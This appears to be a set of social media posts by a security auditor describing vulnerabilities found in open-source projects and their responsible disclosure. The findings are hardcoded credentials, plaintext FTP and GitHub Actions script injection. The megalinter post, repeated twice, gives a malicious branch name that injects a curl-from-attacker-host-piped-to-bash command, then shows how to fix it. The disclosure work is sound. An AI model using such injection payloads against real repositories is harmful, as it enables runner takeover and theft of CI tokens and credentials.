u/Madamin_Z

Here's a real example of how development secrets make it to production. Auditing an open source project — mid-size repo, actively maintained, real company behind it. The docker-compose.yml ships with 10 hardcoded credentials across 5 services:

• Admin password: secret
• Session secret: random
• S3 access key: admin / secret: secretsecret
• PostgreSQL password: secret
• MinIO root password: secretsecret

The README documents secret as the default admin password under "Getting Started." No warning to change it before deployment. No .env.example. No SECURITY.md. NODE_ENV: dev set in the same file. Intended for production use. The credentials alone get you in. A second finding compounds it: user-controlled input reaches a raw HTML render without sanitization in the audit log component — stored XSS as a second vector. Two findings, one deploy, full chain. The pattern is consistent across projects. Credentials written for local dev, never rotated, shipped as-is. Everyone assumes someone else caught it before it went live.

---

How does your team handle secrets before docker-compose goes anywhere near a server?

---

Audited VyManager (Community-VyProjects/VyManager) — an open-source SDN controller built on VyOS. Two verified findings, both manually confirmed.

Finding 1 — Hardcoded credential in frontend/prisma/seed.ts:57

A VyOS API key committed directly in the seed file. The developer left a comment: "This is actually the API key". The key is now permanently in git history — rotating it in the current codebase doesn't remove it from every clone made before the fix.

Finding 2 — Plaintext FTP in backend/utils/archive_url.py:194,217

ftplib.FTP() with no encryption. Credentials transmitted in cleartext. In an SDN controller managing network devices, passive sniffing on the same network segment is a realistic attack vector — not theoretical.

Disclosed responsibly via GitHub Issue #262. Maintainer assigned and labeled it within hours.

The FTP finding is the more interesting one to me. ftplib shows up in a lot of Python codebases that started as internal tools and quietly became production systems. The fix is straightforward — paramiko for SFTP — but it rarely gets prioritized until someone points it out.

Anyone else seeing legacy FTP/Telnet patterns surviving in infrastructure-adjacent Python code?

Scanned oxsecurity/megalinter (13k+ stars) and confirmed 5 exploitable GitHub Actions script injection vulnerabilities across 4 workflow files.

The pattern: github.head_ref and github.event.pull_request.title are interpolated directly into run: shell steps. Surrounding quotes don't help — GitHub Actions evaluates ${{ }} expressions before the shell sees the line.

Attack scenario: fork the repo, name your branch:

feature/x"; curl -s https://attacker.com/shell.sh | bash; echo "

Open a PR — the workflow executes arbitrary commands on the runner.

Impact: GITHUB_TOKEN exfiltration, registry credential theft, artifact tampering, lateral movement.

Fix: route all untrusted context through env: block — shell variable references are never subject to expression injection.

# Vulnerable
run: |
  GITHUB_BRANCH=$([ "${{ github.event_name }}" == "pull_request" ] \
    && echo "${{ github.head_ref }}" \
    || echo "${{ github.ref_name }}")

# Safe
env:
  HEAD_REF: ${{ github.head_ref }}
run: |
  GITHUB_BRANCH="$HEAD_REF"

Disclosed responsibly per their SECURITY.md.

GitHub Issue: https://github.com/oxsecurity/megalinter/issues/7657

Note: impact is limited to the fork's own GITHUB_TOKEN in fork-based PR scenarios.

Scanned oxsecurity/megalinter (13k+ stars) and confirmed 5 exploitable GitHub Actions script injection vulnerabilities across 4 workflow files.

The pattern: github.head_ref and github.event.pull_request.title are interpolated directly into run: shell steps. Surrounding quotes don't help — GitHub Actions evaluates ${{ }} expressions before the shell sees the line.

Attack scenario: fork the repo, name your branch:

feature/x"; curl -s https://attacker.com/shell.sh | bash; echo "

Open a PR — the workflow executes arbitrary commands on the runner.

Impact: GITHUB_TOKEN exfiltration, registry credential theft, artifact tampering, lateral movement.

Fix: route all untrusted context through env: block — shell variable references are never subject to expression injection.

# Vulnerable
run: |
  GITHUB_BRANCH=$([ "${{ github.event_name }}" == "pull_request" ] \
    && echo "${{ github.head_ref }}" \
    || echo "${{ github.ref_name }}")

# Safe
env:
  HEAD_REF: ${{ github.head_ref }}
run: |
  GITHUB_BRANCH="$HEAD_REF"

Disclosed responsibly per their SECURITY.md.

GitHub Issue: https://github.com/oxsecurity/megalinter/issues/7657